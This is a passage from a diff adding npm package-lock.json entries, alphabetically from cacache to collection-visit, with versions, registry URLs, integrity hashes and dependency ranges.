"sha512-Dph0MzuH+rTQzGPNT9fAnrPmMmjKfST6trxJeK7NQuHRaVw24VzPRWTmg9MpcwOVQZO0E1FBICUlFeNaKPIfHA==", + "dev": true, + "dependencies": { + "bluebird": "^3.5.1", + "chownr": "^1.0.1", + "glob": "^7.1.2", + "graceful-fs": "^4.1.11", + "lru-cache": "^4.1.1", + "mississippi": "^2.0.0", + "mkdirp": "^0.5.1", + "move-concurrently": "^1.0.1", + "promise-inflight": "^1.0.1", + "rimraf": "^2.6.2", + "ssri": "^5.2.4", + "unique-filename": "^1.1.0", + "y18n": "^4.0.0" + } + }, + "node_modules/cacache/node_modules/glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/cacache/node_modules/y18n": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.0.tgz", + "integrity": "sha512-r9S/ZyXu/Xu9q1tYlpsLIsa3EeLXXk0VwlxqTcFRfg9EhMW+17kbt9G0NrgCmhGb5vT2hyhJZLfDGx+7+5Uj/w==", + "dev": true + }, + "node_modules/cache-base": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/cache-base/-/cache-base-1.0.1.tgz", + "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==", + "dependencies": { + "collection-visit": "^1.0.0", + "component-emitter": "^1.2.1", + "get-value": "^2.0.6", + "has-value": "^1.0.0", + "isobject": "^3.0.1", + "set-value": "^2.0.0", + "to-object-path": "^0.3.0", + "union-value": "^1.0.0", + "unset-value": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cache-base/node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cached-path-relative": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/cached-path-relative/-/cached-path-relative-1.0.1.tgz", + "integrity": "sha1-0JxLUoAKpMB44t2BqGmqyQ0uVOc=", + "dev": true + }, + "node_modules/caller-callsite": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/caller-callsite/-/caller-callsite-2.0.0.tgz", + "integrity": "sha512-JuG3qI4QOftFsZyOn1qq87fq5grLIyk1JYd5lJmdA+fG7aQ9pA/i3JIJGcO3q0MrRcHlOt1U+ZeHW8Dq9axALQ==", + "peer": true, + "dependencies": { + "callsites": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/caller-callsite/node_modules/callsites": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-2.0.0.tgz", + "integrity": "sha512-ksWePWBloaWPxJYQ8TL0JHvtci6G5QTKwQ95RcWAa/lzoAKuAOflGdAK92hpHXjkwb8zLxoLNUoNYZgVsaJzvQ==", + "peer": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/caller-path": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/caller-path/-/caller-path-0.1.0.tgz", + "integrity": "sha1-lAhe9jWB7NPaqSREqP6U6CV3dR8=", + "dev": true, + "dependencies": { + "callsites": "^0.2.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/callsites": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-0.2.0.tgz", + "integrity": "sha1-r6uWJikQp/M8GaV3WCXGnzTjUMo=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/camelcase": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-2.1.1.tgz", + "integrity": "sha1-fB0W1nmhu+WcoCys7PsBHiAfWh8=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/camelcase-keys": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-2.1.0.tgz", + "integrity": "sha1-MIvur/3ygRkFHvodkyITyRuPkuc=", + "dev": true, + "dependencies": { + "camelcase": "^2.0.0", + "map-obj": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/caniuse-api": { + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-1.6.1.tgz", + "integrity": "sha1-tTTnxzTE+B7F++isoq0kNUuWLGw=", + "dev": true, + "dependencies": { + "browserslist": "^1.3.6", + "caniuse-db": "^1.0.30000529", + "lodash.memoize": "^4.1.2", + "lodash.uniq": "^4.5.0" + } + }, + "node_modules/caniuse-api/node_modules/browserslist": { + "version": "1.7.7", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-1.7.7.tgz", + "integrity": "sha1-C9dnBCWL6CmyOYu1Dkti0aFmsLk=", + "deprecated": "Browserslist 2 could fail on reading Browserslist >3.0 config used in other tools.", + "dev": true, + "dependencies": { + "caniuse-db": "^1.0.30000639", + "electron-to-chromium": "^1.2.7" + }, + "bin": { + "browserslist": "cli.js" + } + }, + "node_modules/caniuse-api/node_modules/lodash.memoize": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", + "integrity": "sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4=", + "dev": true + }, + "node_modules/caniuse-db": { + "version": "1.0.30000860", + "resolved": "https://registry.npmjs.org/caniuse-db/-/caniuse-db-1.0.30000860.tgz", + "integrity": "sha1-XOqyU6rhcrXwrNDVQoulAcSwjUE=", + "dev": true + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001458", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001458.tgz", + "integrity": "sha512-lQ1VlUUq5q9ro9X+5gOEyH7i3vm+AYVT1WDCVB69XOZ17KZRhnZ9J0Sqz7wTHQaLBJccNCHq8/Ww5LlOIZbB0w==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + } + ] + }, + "node_modules/caseless": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz", + "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=", + "dev": true + }, + "node_modules/center-align": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/center-align/-/center-align-0.1.3.tgz", + "integrity": "sha1-qg0yYptu6XIgBBHL1EYckHvCt60=", + "dev": true, + "dependencies": { + "align-text": "^0.1.3", + "lazy-cache": "^1.0.3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/chalk": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", + "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", + "dependencies": { + "ansi-styles": "^2.2.1", + "escape-string-regexp": "^1.0.2", + "has-ansi": "^2.0.0", + "strip-ansi": "^3.0.0", + "supports-color": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/character-parser": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/character-parser/-/character-parser-2.2.0.tgz", + "integrity": "sha1-x84o821LzZdE5f/CxfzeHHMmH8A=", + "dev": true, + "dependencies": { + "is-regex": "^1.0.3" + } + }, + "node_modules/chardet": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.4.2.tgz", + "integrity": "sha1-tUc7M9yXxCTl2Y3IfVXU2KKci/I=", + "dev": true + }, + "node_modules/charenc": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/charenc/-/charenc-0.0.2.tgz", + "integrity": "sha1-wKHS86cJLgN3S/qD8UwPxXkKhmc=", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/chart.js": { + "version": "2.7.2", + "resolved": "https://registry.npmjs.org/chart.js/-/chart.js-2.7.2.tgz", + "integrity": "sha512-90wl3V9xRZ8tnMvMlpcW+0Yg13BelsGS9P9t0ClaDxv/hdypHDr/YAGf+728m11P5ljwyB0ZHfPKCapZFqSqYA==", + "dependencies": { + "chartjs-color": "^2.1.0", + "moment": "^2.10.2" + } + }, + "node_modules/chartjs-color": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/chartjs-color/-/chartjs-color-2.2.0.tgz", + "integrity": "sha1-hKL7dVeH7YXDndbdjHsdiEKbrq4=", + "dependencies": { + "chartjs-color-string": "^0.5.0", + "color-convert": "^0.5.3" + } + }, + "node_modules/chartjs-color-string": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/chartjs-color-string/-/chartjs-color-string-0.5.0.tgz", + "integrity": "sha512-amWNvCOXlOUYxZVDSa0YOab5K/lmEhbFNKI55PWc4mlv28BDzA7zaoQTGxSBgJMHIW+hGX8YUrvw/FH4LyhwSQ==", + "dependencies": { + "color-name": "^1.0.0" + } + }, + "node_modules/chokidar": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-1.7.0.tgz", + "integrity": "sha1-eY5ol3gVHIB2tLNg5e3SjNortGg=", + "deprecated": "Chokidar 2 will break on node v14+. Upgrade to chokidar 3 with 15x less dependencies.", + "dev": true, + "dependencies": { + "anymatch": "^1.3.0", + "async-each": "^1.0.0", + "glob-parent": "^2.0.0", + "inherits": "^2.0.1", + "is-binary-path": "^1.0.0", + "is-glob": "^2.0.0", + "path-is-absolute": "^1.0.0", + "readdirp": "^2.0.0" + }, + "optionalDependencies": { + "fsevents": "^1.0.0" + } + }, + "node_modules/chownr": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.0.1.tgz", + "integrity": "sha1-4qdQQqlVGQi+vSW4Uj1fl2nXkYE=", + "dev": true + }, + "node_modules/chrome-trace-event": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.2.tgz", + "integrity": "sha512-9e/zx1jw7B4CO+c/RXoCsfg/x1AfUBioy4owYH0bJprEYAx5hRFLRhWBqHAG57D0ZM4H7vxbP7bPe0VwhQRYDQ==", + "dev": true, + "dependencies": { + "tslib": "^1.9.0" + }, + "engines": { + "node": ">=6.0" + } + }, + "node_modules/ci-info": { + "version": "3.8.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.8.0.tgz", + "integrity": "sha512-eXTggHWSooYhq49F2opQhuHWgzucfF2YgODK4e1566GQs5BIfP30B0oenwBJHfWxAs2fyPB1s7Mg949zLf61Yw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/cipher-base": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/cipher-base/-/cipher-base-1.0.3.tgz", + "integrity": "sha1-7qvxlEGc6QDaMBjCB9IS8qbfCgc=", + "dev": true, + "dependencies": { + "inherits": "^2.0.1" + } + }, + "node_modules/circular-json": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/circular-json/-/circular-json-0.3.3.tgz", + "integrity": "sha1-gVyZ6oT2gJUp0vRXkb34JxE1LWY=", + "deprecated": "CircularJSON is in maintenance only, flatted is its successor.", + "dev": true + }, + "node_modules/clap": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/clap/-/clap-1.2.3.tgz", + "integrity": "sha512-4CoL/A3hf90V3VIEjeuhSvlGFEHKzOz+Wfc2IVZc+FaUgU0ZQafJTP49fvnULipOPcAfqhyI2duwQyns6xqjYA==", + "dev": true, + "dependencies": { + "chalk": "^1.1.3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/class-utils": { + "version": "0.3.6", + "resolved": "https://registry.npmjs.org/class-utils/-/class-utils-0.3.6.tgz", + "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==", + "dependencies": { + "arr-union": "^3.1.0", + "define-property": "^0.2.5", + "isobject": "^3.0.0", + "static-extend": "^0.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/class-utils/node_modules/define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dependencies": { + "is-descriptor": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/class-utils/node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/classnames": { + "version": "2.2.6", + "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.2.6.tgz", + "integrity": "sha512-JR/iSQOSt+LQIWwrwEzJ9uk0xfN3mTVYMwt1Ir5mUcSN6pU+V4zQFFaJsclJbPuAUQH+yfWef6tm7l1quW3C8Q==" + }, + "node_modules/cli": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/cli/-/cli-1.0.1.tgz", + "integrity": "sha1-IoF1NPJL+klQw01TLUjsvGIbjBQ=", + "dev": true, + "dependencies": { + "exit": "0.1.2", + "glob": "^7.1.1" + }, + "engines": { + "node": ">=0.2.5" + } + }, + "node_modules/cli-cursor": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-2.1.0.tgz", + "integrity": "sha1-s12sN2R5+sw+lHR9QdDQ9SOP/LU=", + "dev": true, + "dependencies": { + "restore-cursor": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cli-spinners": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/cli-spinners/-/cli-spinners-2.7.0.tgz", + "integrity": "sha512-qu3pN8Y3qHNgE2AFweciB1IfMnmZ/fsNTEE+NOFjmGB2F/7rLhnhzppvpCnN4FovtP26k8lHyy9ptEbNwWFLzw==", + "peer": true, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/cli-width": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-2.2.0.tgz", + "integrity": "sha1-/xnt6Kml5XkyQUewwR8PvLq+1jk=", + "dev": true + }, + "node_modules/cli/node_modules/glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/cliui": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz", + "integrity": "sha1-EgYBU3qRbSmUD5NNo7SNWFo5IT0=", + "dev": true, + "dependencies": { + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wrap-ansi": "^2.0.0" + } + }, + "node_modules/clone": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz", + "integrity": "sha1-2jCcwmPfFZlMaIypAheco8fNfH4=", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/clone-deep": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-2.0.2.tgz", + "integrity": "sha512-SZegPTKjCgpQH63E+eN6mVEEPdQBOUzjyJm5Pora4lrwWRFS8I0QAxV/KD6vV/i0WuijHZWQC1fMsPEdxfdVCQ==", + "dev": true, + "dependencies": { + "for-own": "^1.0.0", + "is-plain-object": "^2.0.4", + "kind-of": "^6.0.0", + "shallow-clone": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/clone-deep/node_modules/for-own": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/for-own/-/for-own-1.0.0.tgz", + "integrity": "sha1-xjMy9BXO3EsE2/5wz4NklMU8tEs=", + "dev": true, + "dependencies": { + "for-in": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/clone-deep/node_modules/kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/co": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", + "integrity": "sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ=", + "dev": true, + "engines": { + "iojs": ">= 1.0.0", + "node": ">= 0.12.0" + } + }, + "node_modules/coa": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/coa/-/coa-1.0.4.tgz", + "integrity": "sha1-qe8VNmDWqGqL3sAomlxoTSF0Mv0=", + "dev": true, + "dependencies": { + "q": "^1.1.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/code-point-at": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz", + "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/codeceptjs": { + "version": "2.6.11", + "resolved": "https://registry.npmjs.org/codeceptjs/-/codeceptjs-2.6.11.tgz", + "integrity": "sha512-0MLD6Wclh+RBAJjy4Lw3UovjFylKIamkcqnb4JIudxvOWFotla2iFfTdOTNVt5Tt2BnH+pe1VHbyEhEOARKw7A==", + "dev": true, + "dependencies": { + "@codeceptjs/configure": "^0.4.1", + "allure-js-commons": "^1.3.2", + "arrify": "^2.0.1", + "axios": "^0.19.1", + "chalk": "^1.1.3", + "commander": "^2.20.3", + "css-to-xpath": "^0.1.0", + "cucumber-expressions": "^6.6.2", + "envinfo": "^7.5.1", + "escape-string-regexp": "^1.0.3", + "figures": "^2.0.0", + "fn-args": "^4.0.0", + "fs-extra": "^8.1.0", + "gherkin": "^5.1.0", + "glob": "^6.0.1", + "inquirer": "^6.5.2", + "js-beautify": "^1.11.0", + "lodash.clonedeep": "^4.5.0", + "lodash.merge": "^4.6.2", + "mkdirp": "^1.0.4", + "mocha": "^6.2.3", + "mocha-junit-reporter": "^1.23.1", + "ms": "^2.1.2", + "parse-function": "^5.5.0", + "promise-retry": "^1.1.1", + "requireg": "^0.2.2", + "resq": "^1.7.1", + "semver": "^6.2.0", + "sprintf-js": "^1.1.1" + }, + "bin": { + "codeceptjs": "bin/codecept.js" + }, + "engines": { + "node": ">=8.9.1", + "npm": ">=5.6.0" + } + }, + "node_modules/codeceptjs/node_modules/ansi-regex": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.1.tgz", + "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/codeceptjs/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/codeceptjs/node_modules/arrify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/arrify/-/arrify-2.0.1.tgz", + "integrity": "sha512-3duEwti880xqi4eAMN8AyR4a0ByT90zoYdLlevfrvU43vb0YZwZVfxOgxWrLXXXpyugL0hNZc9G6BiB5B3nUug==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/codeceptjs/node_modules/chardet": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.7.0.tgz", + "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==", + "dev": true + }, + "node_modules/codeceptjs/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/codeceptjs/node_modules/external-editor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.1.0.tgz", + "integrity": "sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==", + "dev": true, + "dependencies": { + "chardet": "^0.7.0", + "iconv-lite": "^0.4.24", + "tmp": "^0.0.33" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/codeceptjs/node_modules/glob": { + "version": "6.0.4", + "resolved": "https://registry.npmjs.org/glob/-/glob-6.0.4.tgz", + "integrity": "sha1-DwiGD2oVUSey+t1PnOJLGqtuTSI=", + "dev": true, + "dependencies": { + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "2 || 3", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/codeceptjs/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/codeceptjs/node_modules/inquirer": { + "version": "6.5.2", + "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-6.5.2.tgz", + "integrity": "sha512-cntlB5ghuB0iuO65Ovoi8ogLHiWGs/5yNrtUcKjFhSSiVeAIVpD7koaSU9RM8mpXw5YDi9RdYXGQMaOURB7ycQ==", + "dev": true, + "dependencies": { + "ansi-escapes": "^3.2.0", + "chalk": "^2.4.2", + "cli-cursor": "^2.1.0", + "cli-width": "^2.0.0", + "external-editor": "^3.0.3", + "figures": "^2.0.0", + "lodash": "^4.17.12", + "mute-stream": "0.0.7", + "run-async": "^2.2.0", + "rxjs": "^6.4.0", + "string-width": "^2.1.0", + "strip-ansi": "^5.1.0", + "through": "^2.3.6" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/codeceptjs/node_modules/inquirer/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/codeceptjs/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/codeceptjs/node_modules/mkdirp": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "dev": true, + "bin": { + "mkdirp": "bin/cmd.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/codeceptjs/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true + }, + "node_modules/codeceptjs/node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/codeceptjs/node_modules/sprintf-js": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.2.tgz", + "integrity": "sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug==", + "dev": true + }, + "node_modules/codeceptjs/node_modules/string-width": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", + "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", + "dev": true, + "dependencies": { + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^4.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/codeceptjs/node_modules/string-width/node_modules/ansi-regex": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.1.tgz", + "integrity": "sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/codeceptjs/node_modules/string-width/node_modules/strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha512-4XaJ2zQdCzROZDivEVIDPkcQn8LMFSa8kj8Gxb/Lnwzv9A8VctNZ+lfivC/sV3ivW8ElJTERXZoPBRrZKkNKow==", + "dev": true, + "dependencies": { + "ansi-regex": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/codeceptjs/node_modules/strip-ansi": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "dev": true, + "dependencies": { + "ansi-regex": "^4.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/codeceptjs/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/coffee-loader": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/coffee-loader/-/coffee-loader-0.8.0.tgz", + "integrity": "sha1-7EjnMn2o46mQR6mdm9z8rBLfNpQ=", + "dev": true, + "dependencies": { + "loader-utils": "^1.0.2" + }, + "peerDependencies": { + "coffeescript": ">= 1.8.x" + } + }, + "node_modules/coffeescript": { + "version": "1.12.7", + "resolved": "https://registry.npmjs.org/coffeescript/-/coffeescript-1.12.7.tgz", + "integrity": "sha1-5X7kxIZ89/YGv8Sg8tVQwJgd3Sc=", + "dev": true, + "bin": { + "cake": "bin/cake", + "coffee": "bin/coffee" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/collection-visit": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/collection-visit/-/collection-visit-1.0.0.tgz", + "integrity": "sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=", + "dependencies": { + "map-visit": "^1.0.0", + "object-visit": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + 